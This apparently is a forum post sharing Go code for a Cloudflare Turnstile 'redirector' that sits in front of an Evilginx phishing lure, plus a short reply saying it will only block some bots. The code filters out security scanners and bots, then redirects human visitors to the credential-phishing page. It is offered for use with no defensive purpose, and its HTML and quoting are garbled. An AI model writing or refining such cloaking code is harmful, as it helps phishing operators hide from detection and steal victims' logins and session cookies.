Would this work much better as turnstile implementation for Evilginx redirector?

package main

import (
“bytes”
“encoding/json”
“fmt”
“io”
“log”
“net/http”
“strings”
“sync”
“time”
)

// === CONFIGURATION ===
const (
TurnstileSecret = “YOUR_TURNSTILE_SECRET”
SiteKey = “YOUR_SITE_KEY”
LureURL = “https://your.lure.url
)

var (
usedTokens = make(map[string]time.Time)
tokenMutex = &sync.Mutex{}
)

// Struct for Cloudflare Turnstile validation response
type VerifyResponse struct {
Success bool json:"success"
ChallengeTs string json:"challenge_ts"
Hostname string json:"hostname"
ErrorCodes string json:"error-codes,omitempty"
}

// Cleanup goroutine for used token memory management
func cleanupUsedTokens() {
for {
time.Sleep(5 * time.Minute)
tokenMutex.Lock()
now := time.Now()
for token, t := range usedTokens {
if now.Sub(t) > 10*time.Minute {
delete(usedTokens, token)
}
}
tokenMutex.Unlock()
}
}

// Extract client IP respecting Cloudflare headers
func getClientIP(r *http.Request) string {
cfIP := r.Header.Get(“CF-Connecting-IP”)
if cfIP != “” {
return cfIP
}
fwd := r.Header.Get(“X-Forwarded-For”)
if fwd != “” {
parts := strings.Split(fwd, “,”)
return strings.TrimSpace(parts[0])
}
ip := r.RemoteAddr
if idx := strings.LastIndex(ip, “:”); idx != -1 {
ip = ip[:idx]
}
return ip
}

func serveRedirector(w http.ResponseWriter, r *http.Request) {
if r.Method == “GET” {
fmt.Fprintf(w, `

Verification
Continue `, SiteKey) return }
// POST handling
if err := r.ParseForm(); err != nil {
    http.Error(w, "Form parsing error", http.StatusBadRequest)
    return
}

token := r.FormValue("cf-turnstile-response")
if token == "" {
    http.Error(w, "Missing Turnstile token", http.StatusBadRequest)
    return
}

// Replay protection
tokenMutex.Lock()
if _, exists := usedTokens[token]; exists {
    tokenMutex.Unlock()
    http.Error(w, "Token already used", http.StatusForbidden)
    return
}
usedTokens[token] = time.Now()
tokenMutex.Unlock()

// Prepare Turnstile validation request
verifyURL := "https://challenges.cloudflare.com/turnstile/v0/siteverify"
data := fmt.Sprintf("secret=%s&response=%s&remoteip=%s",
    TurnstileSecret,
    token,
    getClientIP(r),
)
req, err := http.NewRequest("POST", verifyURL, bytes.NewBufferString(data))
if err != nil {
    http.Error(w, "Request creation failed", http.StatusInternalServerError)
    return
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")

client := &http.Client{Timeout: 5 * time.Second}
resp, err := client.Do(req)
if err != nil {
    log.Printf("[Error] Turnstile API: %v", err)
    http.Error(w, "Verification timeout", http.StatusServiceUnavailable)
    return
}
defer resp.Body.Close()

body, _ := io.ReadAll(resp.Body)
var verifyResp VerifyResponse
if err := json.Unmarshal(body, &verifyResp); err != nil {
    http.Error(w, "Invalid verification response", http.StatusInternalServerError)
    return
}

if verifyResp.Success {
    http.Redirect(w, r, LureURL, http.StatusFound)
} else {
    log.Printf("[Turnstile Fail] %v", verifyResp.ErrorCodes)
    http.Error(w, "Verification failed", http.StatusForbidden)
}

}

func main() {
go cleanupUsedTokens() // Start cleanup routine for used tokens

http.HandleFunc("/", serveRedirector)
log.Println("Turnstile redirector listening on :8080")
log.Fatal(http.ListenAndServe(":8080", nil))

}

nope , its like only protecting front door not backdoor , if u configure like this u might block half bots but not all

1 Like